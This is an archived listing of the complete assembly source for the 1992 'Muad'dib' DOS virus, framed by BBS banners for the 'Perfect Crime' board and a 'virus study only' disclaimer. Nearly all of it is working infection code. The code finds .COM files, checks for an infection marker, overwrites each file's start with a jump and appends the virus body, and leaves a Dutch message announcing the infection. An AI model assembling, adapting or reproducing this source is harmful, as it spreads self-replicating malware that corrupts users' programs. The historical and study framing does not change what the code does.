home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / muad'dib.asm < prev    next >
Assembly Source File  |  1992-10-11  |  9KB  |  214 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ;                              MUAD'DIB VIRUS                                ;
  25. ;****************************************************************************;
  26.         ideal
  27.         model tiny
  28.         codeseg
  29.         org     100h
  30. top:    db      'CP'
  31.         db      058h,04bh
  32.         jmp     near main
  33.         nop
  34.         nop
  35.         nop
  36.         mov     dx,offset _warn
  37.         mov     ah,9
  38.         int     21h
  39.         mov     ax,04c00h
  40.         int     21h
  41.  
  42. _warn   db      'Deze file was besmet met het Muad''dib Virus$'
  43.  
  44. main:   push    ax
  45.         push    bx
  46.         push    cx
  47.         push    dx
  48.         push    di
  49.         push    si
  50.         push    es
  51.         push    ds
  52.         call    dummy
  53. dummy:  pop     bx
  54.         mov     si,bx
  55.         add     si,200h         ; Address of data!
  56.         lea     dx,[si+6]
  57.         mov     ah,1ah
  58.         int     21h             ; Set DTA
  59.  
  60.         mov     dx,si
  61.         mov     cl,0ffh
  62.         mov     ah,04eh
  63.         int     21h             ; Findfirst
  64.         jc      noluck          ; Nah, error
  65. checkit:jmp     is_ill
  66. fnext:  lea     dx,[si + 6]
  67.         mov     ah,04fh
  68.         int     21h
  69.         jc      noluck
  70.         jmp     checkit
  71.  
  72.  
  73. noluck:
  74.         mov     ax,[word si + 6 + 44]               ; Current
  75.         mov     [word cs:100h], ax
  76.         mov     ax,[word si + 6 + 44 + 2]
  77.         mov     [word cs:102h], ax
  78.         mov     ax,[word si + 6 + 44 + 4]
  79.         mov     [word cs:104h], ax
  80.         mov     ax,[word si + 6 + 44 + 6]
  81.         mov     [word cs:106h], ax
  82.         pop     ds
  83.         pop     es
  84.         pop     si
  85.         pop     di
  86.         pop     dx
  87.         pop     cx
  88.         pop     bx
  89.         pop     ax
  90.         mov     ax,100h                         ; Goor!
  91.         push    ax                              ; Maar 't werkt wel!
  92.         ret
  93.  
  94. is_ill:
  95.         lea     dx,[si + 36]    ; Name of file
  96. ;        mov     ah,9
  97. ;        int     21h             ; For information...
  98.         mov     ah,03dh         ; Fopen
  99.         mov     al,2            ; RW-access
  100.         int     21h
  101.         jc      fnext          ; !?@!? Couldn't open
  102.         push    ax
  103.  
  104.         pop     bx                      ; Handle
  105.         push    bx
  106.         mov     ah,3fh                  ; Read
  107.         mov     cx,8                    ; 8 please
  108.         lea     dx,[si + 6 + 44 + 8]        ; Offset buffer  (inf buf)
  109.         int     21h
  110.  
  111.         cmp     [word si + 6 + 44 + 8], 05043h   ; Zick yet?
  112.         je      issick                  ; YEAH!
  113.  
  114.         pop     bx
  115.         push    bx
  116.         mov     ax,04200h               ; Moef vijlpointer
  117.         xor     cx,cx
  118.         xor     dx,dx                   ; 0L
  119.         int     21h                     ; Move filepointer
  120.  
  121.         mov     ax,[si + 6 + 26]         ; Fsize
  122.         sub     ax,7
  123.         mov     [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf)
  124.  
  125.         pop     bx                      ; Handle
  126.         push    bx
  127.         mov     ah,40h                  ; Write
  128.         mov     cx,8                    ; 8 please
  129.         lea     dx,[si + 6 + 44 + 8 + 8]    ; Offset buffer (jumpbuf)
  130.         int     21h
  131.  
  132.         pop     bx                      ; Handle
  133.         push    bx
  134.         mov     ax,04202h               ; Moef vijlpointer (einde)
  135.         xor     cx,cx
  136.         xor     dx,dx                   ; 0L
  137.         int     21h                     ; Move filepointer
  138.  
  139.         call    swap
  140.  
  141.         pop     bx                      ; Handle
  142.         push    bx
  143.         mov     ah,40h                  ; Write
  144.         mov     cx,1000                 ; ADJUST
  145.         lea     dx,[si - 200h - 11]     ; Offset buffer
  146.         int     21h                     ; Wreit
  147.  
  148.         call    swap
  149.  
  150. close:  pop     bx
  151.         mov     ah,03eh
  152.         int     21h
  153.         jmp     noluck                  ; Ready!
  154.  
  155.  
  156. issick: pop     bx
  157.         mov     ah,03eh
  158.         int     21h
  159.         jmp     fnext
  160.  
  161. swap:
  162.         mov     ax,[word si + 6 + 44]
  163.         xchg    [word si + 6 + 44 + 8], ax
  164.         mov     [word si + 6 + 44], ax
  165.         mov     ax,[word si + 6 + 44 + 2]
  166.         xchg    [word si + 6 + 44 + 8 + 2], ax
  167.         mov     [word si + 6 + 44 + 2], ax
  168.         mov     ax,[word si + 6 + 44 + 4]
  169.         xchg    [word si + 6 + 44 + 8 + 4], ax
  170.         mov     [word si + 6 + 44 + 4], ax
  171.         mov     ax,[word si + 6 + 44 + 6]
  172.         xchg    [word si + 6 + 44 + 8 + 6], ax
  173.         mov     [word si + 6 + 44 + 6], ax
  174.         ret
  175.  
  176.         org     dummy + 200h
  177.         db      '*.COM',0
  178.         db      44      dup ('D')
  179.         db      8       dup (090h)      ; Current buffer
  180.         db      8       dup ('C')       ; Inf buffer
  181.         db      043h,050h,058h,04bh,0e9h
  182.         db      0,0,0,'$'
  183.         end     top
  184.  
  185. ;****************************************************************************;
  186. ;                                                                            ;
  187. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  188. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  189. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  190. ;                     -=]                            [=-                     ;
  191. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  192. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  193. ;                     -=]                            [=-                     ;
  194. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  195. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  196. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  197. ;                                                                            ;
  198. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  199. ;                                                                            ;
  200. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  201. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  202. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  203. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  204. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  205. ; Is. Keep This Code in Responsible Hands!                                   ;
  206. ;                                                                            ;
  207. ;****************************************************************************;
  208.  
  209. ;─────────────────────────────────────────────────────────────────────────;
  210. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  211. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  212. ;─────────────────────────────────────────────────────────────────────────;
  213.  
  214.